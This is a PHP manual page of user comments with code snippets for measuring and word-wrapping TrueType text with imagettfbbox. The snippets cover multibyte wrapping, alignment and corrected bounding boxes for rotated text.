The file was not designed to have anything else here with it, and the open and close php tags should the the very first and very last characters of the page respectively, as outside whitespace can be a little evil sometimes.
<?php
//Obtain text and border via GET
//Border can be out, in, or flat
$text = $_GET['text'];
$border = $_GET['border'];

  $font = "fontpath"; //(str) "fonts/sasquatchlives.ttf"
  $fontsize = font size; //(int) pixels in GD 1, or points in GD 2

//Register box
$box = imagettfbbox ($fontsize, 0, $font, $text);
//Find out the width and height of the text box
$textW = $box[2] - $box[0];
$textH= $box[3]-$box[5];
//Add padding
$paddingx = 10;
$paddingy = 10;
//Set image dimentions
$width = $textW+$paddingx;
$height= $textH+$paddingy;

//Bottom left corner of text
$textx = $paddingx/2;
$texty = $height - $paddingy/2;

//Shadow offset (pixels)
$shadoffx = 1;
$shadoffy = 1;

//Create the image
 $img = imagecreatetruecolor($width,$height);
//Define some colors
 $white = imagecolorallocate($img,255,255,255);
 $black = imagecolorallocate($img,0,0,0);
 $lightgrey = imagecolorallocate($img,200,200,200);
 $grey = imagecolorallocate($img,100,100,100);
//Define Text (fg) and background (bg) colors
 $bgcol = imagecolorallocate($img,192,213,196); //Celadon (light pastel green)
 $fgcol = imagecolorallocate($img,243,104,88); //Peach
// Fill image with background color
 imagefill($img,0,0,$bgcol);

//Write Shadow
imagettftext($img, $fontsize, 0, $textx+$shadoffx, $texty+$shadoffy, $grey, $font, $text);

//Write Text
imagettftext($img, $fontsize, 0, $textx, $texty, $fgcol, $font, $text);

//Bordering

   //Embossed border (button-looking)
 if ($border == "out")
  {
   imageline ($img,0,0,$width,0,$white);imageline ($img,0,0,0,$height,$white);
   imageline ($img,1,1,$width,1,$lightgrey);imageline ($img,1,1,1,$height-1,$lightgrey);
   imageline ($img,0,$height-1,$width-1,$height-1,$black);imageline ($img,$width-1,$height-1,$width-1,0,$black);
   imageline ($img,2,$height-2,$width-2,$height-2,$grey);imageline ($img,$width-2,$height-2,$width-2,2,$grey);

  }
    //Flat border
 if ($border == "flat")
  {
   imageline ($img,0,0,$width,0,$white);imageline ($img,0,0,0,$height,$white);
   imageline ($img,1,1,$width,1,$grey);imageline ($img,1,1,1,$height-1,$grey);
   imageline ($img,0,$height-1,$width-1,$height-1,$white);imageline ($img,$width-1,$height-1,$width-1,0,$white);
   imageline ($img,2,$height-2,$width-2,$height-2,$grey);imageline ($img,$width-2,$height-2,$width-2,2,$grey);
  }

    //Engraved border (pushed button)
 if ($border == "in")
  {
   imageline ($img,0,0,$width,0,$black);imageline ($img,0,0,0,$height,$black);
   imageline ($img,1,1,$width,1,$grey);imageline ($img,1,1,1,$height-1,$grey);
   imageline ($img,0,$height-1,$width-1,$height-1,$white);imageline ($img,$width-1,$height-1,$width-1,0,$white);
   imageline ($img,2,$height-2,$width-2,$height-2,$lightgrey);imageline ($img,$width-2,$height-2,$width-2,2,$lightgrey);
  }

// Header info
 header("Content-type: image/png");
//Sends the image
 imagepng($img);
 imagedestroy($img);
?>

Hope this helps someone!
-Patrick-
Mickey9801 at ComicParty dot com 11-Dec-2005 09:31
I have revised my mb_wordwrap function to fix 2 major bugs: cannot handle line break and infinite loop while handling very very long long long single byte word.

<?php
function mb_wordwrap($txt,$font,$size,$width) {
    $pointer = 0; // Current character position pointer
    $this_line_start = 0; // Starting character position of current line
    $this_line_strlen = 1; // How long is the current line
    $single_byte_stack = ""; // Variable for storing single byte word
    $sbs_line_width = 0; // Pixel width of the Single byte word
    $this_is_cr = FALSE; // Check if the character is new line code (ASCII=10)
    $result_lines = array(); // Array for storing the return result

    while ($pointer < mb_strlen($txt)) {
        $this_char = mb_substr($txt,$pointer,1);
        if (ord($this_char[0])==10) $this_is_cr = TRUE; // Check if it is a new line
        // Check current line width
        $tmp_line = mb_substr($txt, $this_line_start, $this_line_strlen);
        $tmp_line_bbox = imagettfbbox($size,0,$font,$tmp_line);
        $this_line_width = $tmp_line_bbox[2]-$tmp_line_bbox[0];

        // Prevent to cut off english word at the end of line
        // if this character is a alphanumeric character or open bracket, put it into stack
        if (is_alphanumeric($this_char, $single_byte_stack)) $single_byte_stack .= $this_char;
        // Check the width of single byte words
        if ($single_byte_stack != "") {
            $tmp_line_bbox = imagettfbbox($size,0,$font,$single_byte_stack);
            $sbs_line_width = $tmp_line_bbox[2]-$tmp_line_bbox[0];
        }

        if ($this_is_cr || $this_line_width > $width || $sbs_line_width >= $width) {
            // If last word is alphanumeric, put it to next line rather then cut it off
            if ($single_byte_stack != "" && is_alphanumeric($this_char, $single_byte_stack) && $sbs_line_width < $width) {
                $stack_len = mb_strlen($single_byte_stack);
                $this_line_strlen = $this_line_strlen - $stack_len + 1;
                $pointer = $pointer - $stack_len + 1;
            }
            // Move the current line to result array and reset all counter
            $result_lines[] = mb_substr($txt, $this_line_start, $this_line_strlen-1);
            if ($this_is_cr) { $pointer++; $this_is_cr=FALSE; }
            if ($sbs_line_width >= $width) $sbs_line_width = 0;
            $this_line_start = $pointer;
            $this_line_strlen = 1;
            $single_byte_stack = "";
        } else {
            if (!is_alphanumeric($this_char, $single_byte_stack)) {
                $single_byte_stack = ""; // Clear stack if met multibyte character and not line end
            }
            $this_line_strlen++;
            $pointer++;
        }
    }
    // Move remained word to result
    $result_lines[] = mb_substr($txt, $this_line_start);

    return $result_lines;
}

function is_alphanumeric($character, $stack) {
    if (
                (ord($character)>=48 && ord($character)<=57) ||
                (ord($character)>=65 && ord($character)<=91) ||
                (ord($character)>=97 && ord($character)<=123) ||
                ord($character)==40 ||
                ord($character)==60 ||
                ($stack=="" && (ord($character)==34 || ord($character)==39))
            ) return TRUE;
            else return FALSE;
}
?>
Nashev 11-Dec-2005 05:38
see http://php.rinet.ru/manual/ru/function.imagettftext.php#57416

function ByteCount($s) {
    $has_mbstring = extension_loaded('mbstring') ||@dl(PHP_SHLIB_PREFIX.'mbstring.'.PHP_SHLIB_SUFFIX);
    $has_mb_shadow = (int) ini_get('mbstring.func_overload');

    if ($has_mbstring && ($has_mb_shadow & 2) ) {
       $size = mb_strlen($s,'latin1');
    } else {
       $size = strlen($s);
    }
    return $size;
}

function foxy_utf8_to_nce($s) {
  $utf = "$s";

  $max_count = 5; // flag-bits in $max_mark ( 1111 1000 == 5 times 1)
  $max_mark = 248; // marker for a (theoretical ;-)) 5-byte-char and mask for a 4-byte-char;

  $html = '';
  $ByteCount = ByteCount($utf);
  for($str_pos = 0; $str_pos < $ByteCount; $str_pos++) {
    $old_chr = $utf{$str_pos};
    $old_val = ord($old_chr);
    $new_val = 0;

    $utf8_marker = 0;

    // skip non-utf-8-chars
    if ($old_val > 127) {
      $mark = $max_mark;
      for ($byte_ctr = $max_count; $byte_ctr > 2; $byte_ctr--) {
        // actual byte is utf-8-marker?
        if (($old_val & $mark) == (($mark << 1) & 255)) {
          $utf8_marker = $byte_ctr - 1;
          break;
        }
        $mark = ($mark << 1) & 255;
      }
    }

    // marker found: collect following bytes
    if ($utf8_marker > 1 and isset($utf{$str_pos + 1})) {
      $str_off = 0;
      $new_val = $old_val & (127 >> $utf8_marker);
      for($byte_ctr = $utf8_marker; $byte_ctr > 1; $byte_ctr--) {
        // check if following chars are UTF8 additional data blocks
        // UTF8 and ord() > 127
        if( (ord($utf{$str_pos + 1}) & 192) == 128 ) {
          $new_val = $new_val << 6;
          $str_off++;
          // no need for Addition, bitwise OR is sufficient
          // 63: more UTF8-bytes; 0011 1111
          $new_val = $new_val | ( ord( $utf{$str_pos + $str_off} ) & 63 );
        }
        // no UTF8, but ord() > 127
        // nevertheless convert first char to NCE
        else {
          $new_val = $old_val;
        }
      }
      // build NCE-Code
      $html .= '&#'.$new_val.';';
      // Skip additional UTF-8-Bytes
      $str_pos = $str_pos + $str_off;
    } else {
      $html .= chr($old_val);
      //$new_val = $old_val;
    }
  }
  return $html;
}
Mickey9801 at ComicParty dot com 22-Nov-2005 12:49
Most of functions shared here seems only work with western language and is not suitable for multibyte characters (like Chinese). I have written a function using mb_string functions to match the need of multibyte character word wrapping.

I also added some machanism so that English word won't be cut off at the end of line. Of couse you must use unicode string on GD.

function mb_wordwrap($txt,$font,$size,$width) {
    $pointer = 0;
    $this_line_start = 0;
    $this_line_strlen = 1;
    $single_byte_stack = "";
    $result_lines = array();
    while ($pointer <= mb_strlen($txt)) {
        $this_char = mb_substr($txt,$pointer,1);
        $tmp_line = mb_substr($txt, $this_line_start, $this_line_strlen);
        $tmp_line_bbox = imagettfbbox($size,0,$font,$tmp_line);
        $this_line_width = $tmp_line_bbox[2]-$tmp_line_bbox[0];
        if ($this_line_width > $width) {
            // If last word is alphanumeric, put it to next line rather then cut it off
            if ($single_byte_stack != "") {
                $stack_len = mb_strlen($single_byte_stack);
                $this_line_strlen -= $stack_len;
                $pointer -= $stack_len;
            }
            $result_lines[] = mb_substr($txt, $this_line_start, $this_line_strlen-1);
            $this_line_start = $pointer;
            $this_line_strlen = 1;
            $single_byte_stack = "";
        } else {
            // Prevent to cut off english word at the end of line
            // if this character is a alphanumeric character or open bracket, put it into stack
            if (
                (ord($this_char)>=48 && ord($this_char)<=57) ||
                (ord($this_char)>=65 && ord($this_char)<=91) ||
                (ord($this_char)>=97 && ord($this_char)<=123) ||
                ord($this_char)==40 ||
                ord($this_char)==60 ||
                ($single_byte_stack=="" && (ord($this_char)==34 || ord($this_char)==39))
            ) $single_byte_stack .= $this_char;
            else $single_byte_stack = ""; // Clear stack if met multibyte character and not line end
            $this_line_strlen++;
            $pointer++;
        }
    }
    // Move remained word to result
    $result_lines[] = mb_substr($txt, $this_line_start);

    return $result_lines;
}
Info at GravoMaster dot com 04-Nov-2005 08:01
TTF character charmap page
Could use some help in reading ttf file
so that unused rectangle chars are filtered out of the charmap
see
http://www.phpenabled.com/ttf_fontlist/
fontlist.php?font=Phones_NormalA.ttf
c.scheffers [gmail] 14-Aug-2005 01:15
I would like to post a small modification to the imageprintWordWrapped() posted below also.

The following code causes each line to start with a space, which results in the incorrect alignment of text:

$line .= ' '.$words[0]; // add the word to the current sentence

A (quick) fix for this problem:

$line .= ($line != '' ? ' ' : '').$words[0]; // add the word to the current sentence
fernandez_marce at yahoo dot com 03-Aug-2005 10:53
I would modify the last function imageprintWordWrapped() posted below. When it says:

// do the actual printing
$i = 0;

$i should be equal to 1, because if $top is greater than 0, the imagettftext() call will not work for the first element in the $lines array ($top + lineHeight*$i) == $top when $i=0!

imagettftext($image, $textSize, 0, $leftStart, $top + $lineHeight * $i, $color, $font, $line);
$i++;

To sum up, replace

// do the actual printing
$i = 0;

with:
// do the actual printing
$i = 1;

Cheers,
Marcelo
thetorpedodog [gmail] 28-Jul-2005 09:09
Just for the sake of consistency, I turned Miles' function into one that takes a $right value rather than a $maxWidth value. This makes it like all the other image* functions.
<?php
function imageprintWordWrapped(&$image, $top, $left, $right, $font, $color, $text, $textSize, $halign="left") {
   $maxWidth = $right - $left ;    //the trivial change
   $words = explode(' ', strip_tags($text)); // split the text into an array of single words
   $line = '';
   while (count($words) > 0) {
       $dimensions = imagettfbbox($textSize, 0, $font, $line.' '.$words[0]);
       $lineWidth = $dimensions[2] - $dimensions[0]; // get the length of this line, if the word is to be included
       if ($lineWidth > $maxWidth) { // if this makes the text wider that anticipated
           $lines[] = $line; // add the line to the others
           $line = ''; // empty it (the word will be added outside the loop)
       }
       $line .= ' '.$words[0]; // add the word to the current sentence
       $words = array_slice($words, 1); // remove the word from the array
   }
   if ($line != '') { $lines[] = $line; } // add the last line to the others, if it isn't empty
   $lineHeight = $dimensions[1] - $dimensions[7]; // the height of a single line
   $height = count($lines) * $lineHeight; // the height of all the lines total
   // do the actual printing
   $i = 0;
   //print_R($widths);
   foreach ($lines as $line) {
       if($halign=="center") {
           //figure out width of line
           $dimensions = imagettfbbox($textSize, 0, $font, $line);
           $lineWidth = $dimensions[2] - $dimensions[0];
           //figure out where the center is.
           $center=floor($maxWidth/2 + $left);
           $leftStart=$center-$lineWidth/2;
       } else if ($halign=="right") {
           //figure out width of line
           $dimensions = imagettfbbox($textSize, 0, $font, $line);
           $lineWidth = $dimensions[2] - $dimensions[0];
           $leftStart=$left+$maxWidth-$lineWidth;
       } else {
           $leftStart=$left;
       }
       imagettftext($image, $textSize, 0, $leftStart, $top + $lineHeight * $i, $color, $font, $line);
       $i++;
   }
   return $height;
}
?>
miles at dinewilmingtononline dot com 12-Jul-2005 06:29
Here is a slight modification to the function posted below that vegard posted that allows for left, right or center alignment within the text boxes.

$halign has a default of left.  center, and right can also be put in.

<?php
function printWordWrapped(&$image, $top, $left, $maxWidth, $font, $color, $text, $textSize, $halign="left") {
    $words = explode(' ', strip_tags($text)); // split the text into an array of single words
    $line = '';
    while (count($words) > 0) {
        $dimensions = imagettfbbox($textSize, 0, $font, $line.' '.$words[0]);
        $lineWidth = $dimensions[2] - $dimensions[0]; // get the length of this line, if the word is to be included
        if ($lineWidth > $maxWidth) { // if this makes the text wider that anticipated
            $lines[] = $line; // add the line to the others
            $line = ''; // empty it (the word will be added outside the loop)
        }
        $line .= ' '.$words[0]; // add the word to the current sentence
        $words = array_slice($words, 1); // remove the word from the array
    }
    if ($line != '') { $lines[] = $line; } // add the last line to the others, if it isn't empty
    $lineHeight = $dimensions[1] - $dimensions[7]; // the height of a single line
    $height = count($lines) * $lineHeight; // the height of all the lines total
    // do the actual printing
    $i = 0;
    //print_R($widths);
    foreach ($lines as $line) {
        if($halign=="center") {
            //figure out width of line
            $dimensions = imagettfbbox($textSize, 0, $font, $line);
            $lineWidth = $dimensions[2] - $dimensions[0];
            //figure out where the center is.
            $center=floor($maxWidth/2 + $left);
            $leftStart=$center-$lineWidth/2;
        } else if ($halign=="right") {
            //figure out width of line
            $dimensions = imagettfbbox($textSize, 0, $font, $line);
            $lineWidth = $dimensions[2] - $dimensions[0];
            $leftStart=$left+$maxWidth-$lineWidth;
        } else {
            $leftStart=$left;
        }
        imagettftext($image, $textSize, 0, $leftStart, $top + $lineHeight * $i, $color, $font, $line);
        $i++;
    }
    return $height;
}
?>
info at rainer-schuetze dot de 10-Jun-2005 09:32
according function by jtopland at hive dot no
08-Feb-2004 03:26

soukhinov at mail dot ru was right, the function doesn't work with 180�. By the way it was a intresting way to trasform the angle to radian. Change the calculation of the angle to the following:  $angle = $angle/ 180 * pi();
The function to calc. the points is correct. Sorry to say this, but the cal. of the height and width is incorrect. I used the version from LB (11-Feb-2004 08:55)

    /**
     * return width and height, offset [left, top] of a ttf character
     * @param string $font : the font file
     * @param string $text : the character
     * @param int $size : the font size
     * @param int $angle : the angle
     * @access private
     * @return array  of the width and height, left and top.
     **/
    function _getCharacterSize($font, $text, $size, $angle)
    {
         // Get the boundingbox from imagettfbbox(), which is correct when angle is 0
         $bbox = imagettfbbox($size, 0, $font, $text);

         // Rotate the boundingbox
         $angle = $angle/ 180 * pi();
         for ($i=0; $i<4; $i++)
         {
                 $x = $bbox[$i * 2];
                 $y = $bbox[$i * 2 + 1];
                 $bbox[$i * 2] = cos($angle) * $x - sin($angle) * $y;  // X
                 $bbox[$i * 2 + 1] = sin($angle) * $x + cos($angle) * $y; // Y
         }
         // Variables which tells the correct width and height
        $bbox["left"] = 0- min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
        $bbox["top"] = 0- min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);
        $bbox["width"] = max($bbox[0],$bbox[2],$bbox[4],$bbox[6]) -  min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
        $bbox["height"] = max($bbox[1],$bbox[3],$bbox[5],$bbox[7]) - min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);

        return $bbox;
    }
php@da dot mcbf dot net 30-Apr-2005 07:37
Pretty trivial, but still might save someone some trouble: on my system (Debian Linux), the absolute path to the font file had to be specified. I tried it relative to the current webpage and that did not work.
vegard at I dot DONT dot WANT dot SPAM dot programmer dot no 04-Apr-2005 06:37
Here is a function that wordwraps text you want to print, allows to specify where the text should be printed, what the maximum width should be, and returns the height used.

<?php
        function printWordWrapped(&$image, $top, $left, $maxWidth, $font, $color, $text, $textSize) {
                $words = explode(' ', strip_tags($text)); // split the text into an array of single words
                $line = '';
                while (count($words) > 0) {
                        $dimensions = imagettfbbox($textSize, 0, $font, $line.' '.$words[0]);
                        $lineWidth = $dimensions[2] - $dimensions[0]; // get the length of this line, if the word is to be included
                        if ($lineWidth > $maxWidth) { // if this makes the text wider that anticipated
                                $lines[] = $line; // add the line to the others
                                $line = ''; // empty it (the word will be added outside the loop)
                                }
                        $line .= ' '.$words[0]; // add the word to the current sentence
                        $words = array_slice($words, 1); // remove the word from the array
                        }
                if ($line != '') { $lines[] = $line; } // add the last line to the others, if it isn't empty
                $lineHeight = $dimensions[1] - $dimensions[7]; // the height of a single line
                $height = count($lines) * $lineHeight; // the height of all the lines total
                // do the actual printing
                $i = 0;
                foreach ($lines as $line) {
                        imagettftext($image, $textSize, 0, $left, $top + $lineHeight * $i, $color, $font, $line);
                        $i++;
                        }
                return $height;
                }

?>
ryan at retronetworks dot com 28-Mar-2005 07:46
Here is a function that lets you write a string with your own "font tracking" level (the amount of pixels separating each character).  It uses imagettfbbox to determine the width of each character, so it doesn't discriminate against the skinnier of characters.  For this example, let $t = the amount of distance in pixels you want to separate each character from its neighbors.

<?php
function ImageTTFTextWithTracking($im, $size, $angle, $t, $x, $y, $color, $font, $text) {
    $numchar = strlen($text);
    for($i = 0; $i < $numchar; $i++) {
        # Assign character
        $char[$i] = substr($text, $i, 1);

        # Write character
        imagettftext($im, $size, $angle, ($x + $w + ($i * $t)), $y, $color, $font, $char[$i]);

        # Get width of character
        $width = imagettfbbox($size, $angle, $font, $char[$i]);
        $w = $w + $width[2];
    }
}
?>

Be aware that it currently does not work for angles other than the 0 default (I have no need for that).
soukhinov at mail dot ru 15-Mar-2005 04:00
I have tryed all of fixes
The David Eder's fix is the only working fix.
The "jtopland at hive dot no"s fix is good enough, but it not working with angle = 180 degrees.
webmaster at funfragforce dot de 10-Mar-2005 06:50
Here a little code snippet to align the text to horizontally center:

<?php
$insert = imagecreatefromgif("test.gif");
$text="TEST";
$font="arial.ttf";

//choose textcolor (black)
$col=ImageColorAllocate ($insert, 0, 0, 0);

//check width of the text
$bbox=imagettfbbox (12, 0, $font, $text);
$xcorr=0-$bbox[6];
$mase=$bbox[2]+$xcorr;

//check width of the image
$width=imagesx($insert);

//calculate x coordinates for text
$new=($width-$mase)/2;

//write text
imagettftext ($insert, 12, 0, $new, 50, $col, $font, $text);

//output picture
imagegif($insert,"",100);

?>
helloktk at naver dot com 24-Jun-2004 06:55
Here is a function which moves the center of text's bounding
box to a given pivot point (px,py) and rotates text about
that point.
<?php
$width=500;
$height=400;
$fontpath = 'c:/windows/fonts/arial.ttf';
$text = 'Finally, I have a roated text box';
$fontsize = 20;
$angle = 30.0;
// create an image and fill the background with lightgray
$image = imagecreatetruecolor($width,$height);
imagefill($image, 0, 0, 0xDDDDDD);
// bounding box
$bbox = imagettfbbox($fontsize, 0, $fontpath, $text);
// baseline point for drawing non-rotated text.
$x0=  $bbox[6];
$y0=-$bbox[7];
// fixes bounding box w.r.t. image coordinate.
$bbox[5]=-$bbox[5]+$bbox[1];
$bbox[7]=-$bbox[7]+$bbox[3];
$bbox[1]=0;
$bbox[3]=0;
// get the size of image.
$sx=imagesx($image);
$sy=imagesy($image);
// center of bounding box (xc,yc);
$xc=($bbox[0]+$bbox[2])/2.0;
$yc=($bbox[1]+$bbox[7])/2.0;
// rotation angle in radian
$rad=$angle*pi()/180.0;
$sa=sin($rad);
$ca=cos($rad);
$x1=$x0-$xc;
$y1=$y0-$yc;
//pivot point(here, we take the center of image)
$px=$sx/2.0;
$py=$sy/2.0;
// new baseline point for rotated text.
$x2= intval( $x1*$ca+$y1*$sa+$px+0.5);
$y2= intval(-$x1*$sa+$y1*$ca+$py+0.5);

imagettftext($image,$fontsize,$angle,$x2,$y2,0xFF,$fontpath,$text);
// draw rotated bounding box;
rotbbox($bbox,$angle,$px,$py);
for($i=0;$i<4;$i++){
   $x0=$bbox[2*$i+0];
   $y0=$bbox[2*$i+1];
   $j=$i+1;
   if($j==4) $j=0;
   $x1=$bbox[2*$j+0];
   $y1=$bbox[2*$j+1];
   imageline($image,$x0,$y0,$x1,$y1,0xFF0000);
}
// Show the image
imagepng($image);

function rotbbox(&$bbox,$angle,$px,$py){
     $xc=($bbox[0]+$bbox[2])/2.0;
     $yc=($bbox[1]+$bbox[7])/2.0;
     $rad=$angle*pi()/180.0;
     $sa=sin($rad);
     $ca=cos($rad);
     for ($i=0;$i<4;$i++){
         $x=$bbox[$i*2+0]-$xc;
         $y=$bbox[$i*2+1]-$yc;
         $bbox[$i*2+0]= intval( $ca*$x+$sa*$y+$px+0.5);
         $bbox[$i*2+1]= intval(-$sa*$x+$ca*$y+$py+0.5);
     }
}
?>
jrisken at mn dot rr dot com 09-Mar-2004 02:12
I took Magicaltux's word wrap procedure and modified it in two ways.  I changed the order of processing so that the string plotting function is called only once for each word instead of for every character.  And I wrote the results to a string scalar instead of a string array, with embedded breaks <br> at line ends.  It should run pretty fast.  Mine breaks only on spaces, but hyphens could easily be added.

I'm new to PHP so I apologize for my idiosyncratic formatting conventions.
<?
function myWordWrap($txt,$font,$size,$width)
{
    /*
        word-wrapper.  gets bounding box sizes for each word in a string, then
        strings words together up to desired width. calls strpos and
        imagettfbbox only once per word - so very fast.
        this version reconcatenates the words with a <br> character where
        the line break should be.
    */
    $txt.=" "; // guaranteed to find end of line
    $spaces=array();
    $wids=array();
    $i=0;
    while(true)
    {
        $j=strpos(substr($txt,$i)," ");
        if(!($j===false))
        {
            $spaces[]=$j+$i;
            $bbox=imagettfbbox($size,0,$font,substr($txt,$i,$j+1));
            $left=($bbox[0]>$bbox[6])?$bbox[6]:$bbox[0];
            $right=($bbox[2]>$bbox[4])?$bbox[2]:$bbox[4];
            $wids[]=$right-$left;
            $i=$j+$i+1;
        }
        else     break;
    }
    $lastspace=-1;
    $cum=0;
    $t2="";
    for($i=0;$i<count($spaces);$i++)
    {
        if((($cum>0)&&($cum+$wids[$i])>$width)) // time for a line break
        {
            $t2.="<br>";
            $cum=0;
            $i--;
        }
        else
        {
            // we'll always get at least one word (even if too wide) thanks to
            // ($cum>0) test above
            $t2.=substr($txt,$lastspace+1,$spaces[$i]-$lastspace);
            $cum+=$wids[$i];
            $lastspace=$spaces[$i];
        }
    }
    return $t2;
}
?>
LB 11-Feb-2004 07:55
the oliver dot martin at onemail dot fixbbox function is just lacking a small thing:
the coordonates for top and left have to be the opposite, because the imagettftext x and y coordonates are calculated from the top left of the image and set the bottom left of the first character.

The correct function is:
function fixbbox($bbox)
{
  $tmp_bbox["left"] = min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
  $tmp_bbox["top"] = min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);
  $tmp_bbox["width"] = max($bbox[0],$bbox[2],$bbox[4],$bbox[6]) -
    min($bbox[0],$bbox[2],$bbox[4],$bbox[6]) + 1;
  $tmp_bbox["height"] = max($bbox[1],$bbox[3],$bbox[5],$bbox[7]) - min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);

  $tmp_bbox["left"] = 0 - $tmp_bbox["left"];
  $tmp_bbox["top"] = 0 - $tmp_bbox["top"];
  return $tmp_bbox;
}

And it works for any rotated text.
David Eder 10-Feb-2004 09:46
As "oliver dot martin at onemail dot at" noted above, imagettfbbox() does not work correctly in php 4.3.4.  To remedy this, I've written a short function that uses trig to calculate the bounding box from rotating a non-rotated piece of text.

Hopefully, this comment will be obsolete soon, but for now, ...

function imagettfbbox_t($size, $angle, $fontfile, $text)
{
  // compute size with a zero angle
  $coords = imagettfbbox($size, 0, $fontfile, $text);

  // convert angle to radians
  $a = $angle * M_PI / 180;

  // compute some usefull values
  $ca = cos($a);
  $sa = sin($a);
  $ret = array();

  // perform transformations
  for($i = 0; $i < 7; $i += 2)
  {
    $ret[$i] = round($coords[$i] * $ca + $coords[$i+1] * $sa);
    $ret[$i+1] = round($coords[$i+1] * $ca - $coords[$i] * $sa);
  }
  return $ret;
}
jtopland at hive dot no 08-Feb-2004 02:26
Finally managed to make a fixed version of imagettfbbox().
All angles returns correct values.
Except that imagettftext() returns different trackings (space between each character) when rotating.

<?php
    // Set some test variables
    $font = "d://www//tahoma.ttf";
    $text = "Finally, I can center rotated text!";
    $size = 20;
    $angle = 20;

    // Create an image and fill the background with lightgray
    $image = imagecreatetruecolor(500, 400);
    imagefill($image, 0, 0, hexdec("dddddd"));

    // Make a cross to make it easier to analyze
    imageline($image, 0, 0, imagesx($image), imagesy($image), hexdec("000000"));
    imageline($image, imagesx($image), 0, 0, imagesy($image), hexdec("000000"));

    // Run a fixed version of imagettfbbox()
    $bbox = imagettfbbox_fixed($size, $angle, $font, $text);

    // Make some text and center the text on the image.
    // imagettftext() pivot is on lower left
    imagettftext($image, $size, $angle, imagesx($image) / 2 - $bbox['width'] / 2, imagesy($image) / 2 + $bbox['height'] / 2, hexdec("0000ff"), $font, $text);

    // Show the image
    imagepng($image);

    function imagettfbbox_fixed($size, $angle, $font, $text)
    {
        // Get the boundingbox from imagettfbbox(), which is correct when angle is 0
        $bbox = imagettfbbox($size, 0, $font, $text);

        // Rotate the boundingbox
        $angle = pi() * 2 - $angle * pi() * 2 / 360;
        for ($i=0; $i<4; $i++)
        {
            $x = $bbox[$i * 2];
            $y = $bbox[$i * 2 + 1];
            $bbox[$i * 2] = cos($angle) * $x - sin($angle) * $y;
            $bbox[$i * 2 + 1] = sin($angle) * $x + cos($angle) * $y;
        }

        // Variables which tells the correct width and height
        $bbox['width'] = $bbox[0] + $bbox[4];
        $bbox['height'] = $bbox[1] - $bbox[5];

        return $bbox;
    }
?>
oliver dot martin at onemail dot at 09-Jan-2004 01:13
The original fixbox function by <php at deathz0rz dot homeunix dot net> doesn't work when the text is rotated, as it assumes that the upper left corner of the text is also the upper left corner of the bounding box. Same goes for the lower right corner. Here is my corrected version of it:

<?
function fixbbox($bbox)
{
    $tmp_bbox["left"] = min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
    $tmp_bbox["top"] = min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);
    $tmp_bbox["width"] = max($bbox[0],$bbox[2],$bbox[4],$bbox[6]) - min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
    $tmp_bbox["height"] = max($bbox[1],$bbox[3],$bbox[5],$bbox[7]) - min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);

    return $tmp_bbox;
}
?>

However, be aware that this might not be very useful, as gd-2.0.8 introduces a bug which renders the results of imagettfbbox() useless when the text is rotated. This is still not fixed in the the php-4.3.4 bundled version (2.0.15 compatible).
MagicalTux at FF.ST 22-Dec-2003 12:09
One use of this function is to do some WordWrap =p

I wrote a little function to make a basic wordwrap : it returns an array with each line in a row.

You just have to display each row on a different line (calling many times imagettftext) to get a good result.
The character ^ is assumed as a linebreak.

<?php

function im_wordwrap($txt,$font,$size,$width) {
    $sep=array(' ','-'); // separators
    $res=array();
    $buf='';
    // main function loop
    for($i=0;$i<strlen($txt);$i++) {
        $l=$txt{$i};
        if ($l=='^') {
            $res[]=$buf;
            $buf='';
            continue;
        }
        $t=$buf.$l;
        $bbox=imagettfbbox($size,0,$font,$t);
        $left=($bbox[0]>$bbox[6])?$bbox[6]:$bbox[0]; // determine most far points
        $right=($bbox[2]>$bbox[4])?$bbox[2]:$bbox[4]; // idem
        $w=$right-$left; // get total width
        if ($w>$width) {
            if ($buf=='') return false; // FATAL: 1 letter is smallest than the pixel width - avoid infinite loop
            // we can assume that everything present in $buf currently is inside our limits
            // find a separator in string
            $fp=false;
            foreach($sep as $s) {
                $p=strrpos($buf,$s);
                if (($p!==false) and ($p>$fp)) $fp=$p;
            }
            if ($fp===false) {
                // let's break here !
                $res[]=$buf;
                $buf='';
                $i--; // dececrase $i to retry this letter
                continue;
            }
            // $fp+1 -> we put the separator char at the end of the prev. line =p
            $res[]=substr($buf,0,$fp+1);
            $buf=substr($buf,$fp+1);
            $i--;
            continue;
        }
        $buf.=$l;
    }
    if ($buf!='') $res[]=$buf;
    return $res;
}
?>
php at deathz0rz dot homeunix dot net 14-Dec-2003 06:38
The array this function returns is very strange, at least, i think so... So i created this function that 'fixes' the bounding box array into some human-understandable format

<?php
function fixbbox($bbox)
{
    $xcorr=0-$bbox[6]; //northwest X
    $ycorr=0-$bbox[7]; //northwest Y
    $tmp_bbox['left']=$bbox[6]+$xcorr;
    $tmp_bbox['top']=$bbox[7]+$ycorr;
    $tmp_bbox['width']=$bbox[2]+$xcorr;
    $tmp_bbox['height']=$bbox[3]+$ycorr;

    return $tmp_bbox;
}
?>
Brian at NOSPAM at PrintsMadeEasy dot com 04-Sep-2002 01:12
There seems to be a little confusion regarding the font coordinate system.  PHP's TTF functions will make more sense after you understand the principals of font creation.  This guy wrote a really good overview...
http://pfaedit.sourceforge.net/overview.html
imagetruecolortopalette
imagettftext
GD and Image Functions


Write text to the image using TrueType fonts

imagettfbbox
imagetypes
GD and Image Functions
PHP Manual

imagettftext

(PHP 4, PHP 5)

imagettftext — Write text to the image using TrueType fonts

Description

array imagettftext ( resource $image , float $size , float $angle , int $x , int $y , int $color , string $fontfile , string $text )

Writes the given text into the image using TrueType fonts.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

size

The font size. Depending on your version of GD, this should be specified as the pixel size (GD1) or point size (GD2).

angle

The angle in degrees, with 0 degrees being left-to-right reading text. Higher values represent a counter-clockwise rotation. For example, a value of 90 would result in bottom-to-top reading text.

x

The coordinates given by x and y will define the basepoint of the first character (roughly the lower-left corner of the character). This is different from the imagestring(), where x and y define the upper-left corner of the first character. For example, "top left" is 0, 0.

y

The y-ordinate. This sets the position of the fonts baseline, not the very bottom of the character.

color

